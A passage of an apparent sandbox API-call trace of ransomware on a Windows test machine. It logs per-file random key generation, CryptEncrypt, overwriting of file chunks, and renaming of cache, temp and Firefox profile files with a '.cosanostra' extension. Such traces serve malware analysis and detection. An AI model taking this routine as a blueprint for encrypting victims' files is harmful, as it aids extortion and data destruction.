halpmcxz\\appdata\\local\\temp\\temporary internet files\\content.ie5\\index.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138 [0103.536] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\index.dat") returned 99 [0103.536] StrStrW (lpFirst="index.dat", lpSrch=".txt") returned 0x0 [0103.538] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0103.538] WriteFile (in: hFile=0x138, lpBuffer=0x305f380*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x2abedc4, lpOverlapped=0x0 | out: lpBuffer=0x305f380*, lpNumberOfBytesWritten=0x2abedc4*=0x2800, lpOverlapped=0x0) returned 1 [0103.538] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0103.538] WriteFile (in: hFile=0x138, lpBuffer=0x2abee04*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2abedc4, lpOverlapped=0x0 | out: lpBuffer=0x2abee04*, lpNumberOfBytesWritten=0x2abedc4*=0x4, lpOverlapped=0x0) returned 1 [0103.538] WriteFile (in: hFile=0x138, lpBuffer=0x27caa0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x2abedc4, lpOverlapped=0x0 | out: lpBuffer=0x27caa0*, lpNumberOfBytesWritten=0x2abedc4*=0x30, lpOverlapped=0x0) returned 1 [0103.538] CloseHandle (hObject=0x138) returned 1 [0103.538] wnsprintfW (in: pszDest=0x3023418, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\index.dat.cosanostra") returned 110 [0103.538] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\index.dat" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\temporary internet files\\content.ie5\\index.dat"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\index.dat.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\temporary internet files\\content.ie5\\index.dat.cosanostra")) returned 1 [0103.540] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abee00 | out: pbBuffer=0x2abee00) returned 1 [0103.540] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27caa0*, pdwDataLen=0x2abedf8*=0x20, dwBufLen=0x30 | out: pbData=0x27caa0*, pdwDataLen=0x2abedf8*=0x30) returned 1 [0103.540] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\desktop.ini" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\temporary internet files\\content.ie5\\desktop.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138 [0103.540] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\desktop.ini") returned 101 [0103.540] StrStrW (lpFirst="desktop.ini", lpSrch=".txt") returned 0x0 [0103.541] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xffffffbd, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0103.541] WriteFile (in: hFile=0x138, lpBuffer=0x305f380*, nNumberOfBytesToWrite=0x43, lpNumberOfBytesWritten=0x2abedbc, lpOverlapped=0x0 | out: lpBuffer=0x305f380*, lpNumberOfBytesWritten=0x2abedbc*=0x43, lpOverlapped=0x0) returned 1 [0103.541] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0103.541] WriteFile (in: hFile=0x138, lpBuffer=0x2abedfc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2abedbc, lpOverlapped=0x0 | out: lpBuffer=0x2abedfc*, lpNumberOfBytesWritten=0x2abedbc*=0x4, lpOverlapped=0x0) returned 1 [0103.541] WriteFile (in: hFile=0x138, lpBuffer=0x27caa0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x2abedbc, lpOverlapped=0x0 | out: lpBuffer=0x27caa0*, lpNumberOfBytesWritten=0x2abedbc*=0x30, lpOverlapped=0x0) returned 1 [0103.542] CloseHandle (hObject=0x138) returned 1 [0103.542] wnsprintfW (in: pszDest=0x3023418, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\desktop.ini.cosanostra") returned 112 [0103.542] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\desktop.ini" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\temporary internet files\\content.ie5\\desktop.ini"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\desktop.ini.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\temporary internet files\\content.ie5\\desktop.ini.cosanostra")) returned 1 [0103.543] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abedf8 | out: pbBuffer=0x2abedf8) returned 1 [0103.543] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27caa0*, pdwDataLen=0x2abedf0*=0x20, dwBufLen=0x30 | out: pbData=0x27caa0*, pdwDataLen=0x2abedf0*=0x30) returned 1 [0103.543] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\03J4UQW0\\desktop.ini" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\temporary internet files\\content.ie5\\03j4uqw0\\desktop.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138 [0103.544] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\03J4UQW0\\desktop.ini") returned 110 [0103.544] StrStrW (lpFirst="desktop.ini", lpSrch=".txt") returned 0x0 [0103.545] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xffffffbd, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0103.545] WriteFile (in: hFile=0x138, lpBuffer=0x305f380*, nNumberOfBytesToWrite=0x43, lpNumberOfBytesWritten=0x2abedb4, lpOverlapped=0x0 | out: lpBuffer=0x305f380*, lpNumberOfBytesWritten=0x2abedb4*=0x43, lpOverlapped=0x0) returned 1 [0103.545] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0103.545] WriteFile (in: hFile=0x138, lpBuffer=0x2abedf4*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2abedb4, lpOverlapped=0x0 | out: lpBuffer=0x2abedf4*, lpNumberOfBytesWritten=0x2abedb4*=0x4, lpOverlapped=0x0) returned 1 [0103.545] WriteFile (in: hFile=0x138, lpBuffer=0x27caa0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x2abedb4, lpOverlapped=0x0 | out: lpBuffer=0x27caa0*, lpNumberOfBytesWritten=0x2abedb4*=0x30, lpOverlapped=0x0) returned 1 [0103.545] CloseHandle (hObject=0x138) returned 1 [0103.545] wnsprintfW (in: pszDest=0x3023418, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\03J4UQW0\\desktop.ini.cosanostra") returned 121 [0103.545] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\03J4UQW0\\desktop.ini" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\temporary internet files\\content.ie5\\03j4uqw0\\desktop.ini"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\03J4UQW0\\desktop.ini.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\temporary internet files\\content.ie5\\03j4uqw0\\desktop.ini.cosanostra")) returned 1 [0103.546] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abedf8 | out: pbBuffer=0x2abedf8) returned 1 [0103.546] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27caa0*, pdwDataLen=0x2abedf0*=0x20, dwBufLen=0x30 | out: pbData=0x27caa0*, pdwDataLen=0x2abedf0*=0x30) returned 1 [0103.546] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\03J4UQW0\\.." (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\temporary internet files\\content.ie5"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0103.546] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abedf0 | out: pbBuffer=0x2abedf0) returned 1 [0103.546] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27caa0*, pdwDataLen=0x2abede8*=0x20, dwBufLen=0x30 | out: pbData=0x27caa0*, pdwDataLen=0x2abede8*=0x30) returned 1 [0103.546] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\03J4UQW0\\." (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\temporary internet files\\content.ie5\\03j4uqw0\\."), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0103.546] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abedf0 | out: pbBuffer=0x2abedf0) returned 1 [0103.546] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27caa0*, pdwDataLen=0x2abede8*=0x20, dwBufLen=0x30 | out: pbData=0x27caa0*, pdwDataLen=0x2abede8*=0x30) returned 1 [0103.546] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\.." (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\temporary internet files"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0103.546] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abede8 | out: pbBuffer=0x2abede8) returned 1 [0103.546] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27caa0*, pdwDataLen=0x2abede0*=0x20, dwBufLen=0x30 | out: pbData=0x27caa0*, pdwDataLen=0x2abede0*=0x30) returned 1 [0103.546] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\." (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\temporary internet files\\content.ie5\\."), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0103.546] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abede8 | out: pbBuffer=0x2abede8) returned 1 [0103.546] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27caa0*, pdwDataLen=0x2abede0*=0x20, dwBufLen=0x30 | out: pbData=0x27caa0*, pdwDataLen=0x2abede0*=0x30) returned 1 [0103.546] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\.." (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0103.547] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abede0 | out: pbBuffer=0x2abede0) returned 1 [0103.547] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27caa0*, pdwDataLen=0x2abedd8*=0x20, dwBufLen=0x30 | out: pbData=0x27caa0*, pdwDataLen=0x2abedd8*=0x30) returned 1 [0103.547] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\." (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\temporary internet files\\."), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0103.547] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abede0 | out: pbBuffer=0x2abede0) returned 1 [0103.547] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27caa0*, pdwDataLen=0x2abedd8*=0x20, dwBufLen=0x30 | out: pbData=0x27caa0*, pdwDataLen=0x2abedd8*=0x30) returned 1 [0103.547] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\S4JtuCCFGsB.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\s4jtuccfgsb.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138 [0103.547] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\S4JtuCCFGsB.mp3") returned 68 [0103.547] StrStrW (lpFirst="S4JtuCCFGsB.mp3", lpSrch=".txt") returned 0x0 [0103.548] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0103.548] WriteFile (in: hFile=0x138, lpBuffer=0x305f380*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x2abed9c, lpOverlapped=0x0 | out: lpBuffer=0x305f380*, lpNumberOfBytesWritten=0x2abed9c*=0x2800, lpOverlapped=0x0) returned 1 [0103.548] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0103.548] WriteFile (in: hFile=0x138, lpBuffer=0x2abeddc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2abed9c, lpOverlapped=0x0 | out: lpBuffer=0x2abeddc*, lpNumberOfBytesWritten=0x2abed9c*=0x4, lpOverlapped=0x0) returned 1 [0103.548] WriteFile (in: hFile=0x138, lpBuffer=0x27caa0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x2abed9c, lpOverlapped=0x0 | out: lpBuffer=0x27caa0*, lpNumberOfBytesWritten=0x2abed9c*=0x30, lpOverlapped=0x0) returned 1 [0103.548] CloseHandle (hObject=0x138) returned 1 [0103.548] wnsprintfW (in: pszDest=0x3023418, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\S4JtuCCFGsB.mp3.cosanostra") returned 79 [0103.548] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\S4JtuCCFGsB.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\s4jtuccfgsb.mp3"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\S4JtuCCFGsB.mp3.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\s4jtuccfgsb.mp3.cosanostra")) returned 1 [0103.549] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abedd8 | out: pbBuffer=0x2abedd8) returned 1 [0103.549] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27caa0*, pdwDataLen=0x2abedd0*=0x20, dwBufLen=0x30 | out: pbData=0x27caa0*, pdwDataLen=0x2abedd0*=0x30) returned 1 [0103.549] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\rd_q9_5s.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\rd_q9_5s.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138 [0103.550] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\rd_q9_5s.png") returned 65 [0103.550] StrStrW (lpFirst="rd_q9_5s.png", lpSrch=".txt") returned 0x0 [0103.550] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0103.550] WriteFile (in: hFile=0x138, lpBuffer=0x305f380*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x2abed94, lpOverlapped=0x0 | out: lpBuffer=0x305f380*, lpNumberOfBytesWritten=0x2abed94*=0x2800, lpOverlapped=0x0) returned 1 [0103.550] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0103.550] WriteFile (in: hFile=0x138, lpBuffer=0x2abedd4*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2abed94, lpOverlapped=0x0 | out: lpBuffer=0x2abedd4*, lpNumberOfBytesWritten=0x2abed94*=0x4, lpOverlapped=0x0) returned 1 [0103.551] WriteFile (in: hFile=0x138, lpBuffer=0x27caa0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x2abed94, lpOverlapped=0x0 | out: lpBuffer=0x27caa0*, lpNumberOfBytesWritten=0x2abed94*=0x30, lpOverlapped=0x0) returned 1 [0103.551] CloseHandle (hObject=0x138) returned 1 [0103.551] wnsprintfW (in: pszDest=0x3023418, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\rd_q9_5s.png.cosanostra") returned 76 [0103.551] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\rd_q9_5s.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\rd_q9_5s.png"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\rd_q9_5s.png.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\rd_q9_5s.png.cosanostra")) returned 1 [0103.630] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abedd8 | out: pbBuffer=0x2abedd8) returned 1 [0103.630] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27caa0*, pdwDataLen=0x2abedd0*=0x20, dwBufLen=0x30 | out: pbData=0x27caa0*, pdwDataLen=0x2abedd0*=0x30) returned 1 [0103.630] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\updates\\E7CF176E110C211B\\updates.xml" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\mozilla\\updates\\e7cf176e110c211b\\updates.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x180 [0103.666] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\updates\\E7CF176E110C211B\\updates.xml") returned 92 [0103.666] StrStrW (lpFirst="updates.xml", lpSrch=".txt") returned 0x0 [0103.666] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0xffffffc7, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0103.666] WriteFile (in: hFile=0x180, lpBuffer=0x305f380*, nNumberOfBytesToWrite=0x39, lpNumberOfBytesWritten=0x2abed94, lpOverlapped=0x0 | out: lpBuffer=0x305f380*, lpNumberOfBytesWritten=0x2abed94*=0x39, lpOverlapped=0x0) returned 1 [0103.667] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0103.667] WriteFile (in: hFile=0x180, lpBuffer=0x2abedd4*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2abed94, lpOverlapped=0x0 | out: lpBuffer=0x2abedd4*, lpNumberOfBytesWritten=0x2abed94*=0x4, lpOverlapped=0x0) returned 1 [0103.667] WriteFile (in: hFile=0x180, lpBuffer=0x27caa0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x2abed94, lpOverlapped=0x0 | out: lpBuffer=0x27caa0*, lpNumberOfBytesWritten=0x2abed94*=0x30, lpOverlapped=0x0) returned 1 [0103.667] CloseHandle (hObject=0x180) returned 1 [0103.667] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\updates\\E7CF176E110C211B\\updates.xml.cosanostra") returned 103 [0103.667] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\updates\\E7CF176E110C211B\\updates.xml" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\mozilla\\updates\\e7cf176e110c211b\\updates.xml"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\updates\\E7CF176E110C211B\\updates.xml.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\mozilla\\updates\\e7cf176e110c211b\\updates.xml.cosanostra")) returned 1 [0103.669] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abedd0 | out: pbBuffer=0x2abedd0) returned 1 [0103.669] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27caa0*, pdwDataLen=0x2abedc8*=0x20, dwBufLen=0x30 | out: pbData=0x27caa0*, pdwDataLen=0x2abedc8*=0x30) returned 1 [0103.669] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\thumbnails\\ba182bcd131f1f3c6b6fbbb1ba078341.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\mozilla\\firefox\\profiles\\silmbjec.default\\thumbnails\\ba182bcd131f1f3c6b6fbbb1ba078341.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x180 [0103.670] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\thumbnails\\ba182bcd131f1f3c6b6fbbb1ba078341.png") returned 137 [0103.670] StrStrW (lpFirst="ba182bcd131f1f3c6b6fbbb1ba078341.png", lpSrch=".txt") returned 0x0 [0103.681] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0103.681] WriteFile (in: hFile=0x180, lpBuffer=0x305f380*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x2abed8c, lpOverlapped=0x0 | out: lpBuffer=0x305f380*, lpNumberOfBytesWritten=0x2abed8c*=0x2800, lpOverlapped=0x0) returned 1 [0103.681] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0103.681] WriteFile (in: hFile=0x180, lpBuffer=0x2abedcc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2abed8c, lpOverlapped=0x0 | out: lpBuffer=0x2abedcc*, lpNumberOfBytesWritten=0x2abed8c*=0x4, lpOverlapped=0x0) returned 1 [0103.690] WriteFile (in: hFile=0x180, lpBuffer=0x27caa0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x2abed8c, lpOverlapped=0x0 | out: lpBuffer=0x27caa0*, lpNumberOfBytesWritten=0x2abed8c*=0x30, lpOverlapped=0x0) returned 1 [0103.690] CloseHandle (hObject=0x180) returned 1 [0103.690] wnsprintfW (in: pszDest=0x23b158, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\thumbnails\\ba182bcd131f1f3c6b6fbbb1ba078341.png.cosanostra") returned 148 [0103.690] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\thumbnails\\ba182bcd131f1f3c6b6fbbb1ba078341.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\mozilla\\firefox\\profiles\\silmbjec.default\\thumbnails\\ba182bcd131f1f3c6b6fbbb1ba078341.png"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\thumbnails\\ba182bcd131f1f3c6b6fbbb1ba078341.png.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\mozilla\\firefox\\profiles\\silmbjec.default\\thumbnails\\ba182bcd131f1f3c6b6fbbb1ba078341.png.cosanostra")) returned 1 [0103.691] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abedc8 | out: pbBuffer=0x2abedc8) returned 1 [0103.691] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27caa0*, pdwDataLen=0x2abedc0*=0x20, dwBufLen=0x30 | out: pbData=0x27caa0*, pdwDataLen=0x2abedc0*=0x30) returned 1 [0103.691] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\thumbnails\\4cc87c1409819bf06f42b782d4902b2f.png" (normalized: "c:\\users\\5p5nrgjn0js 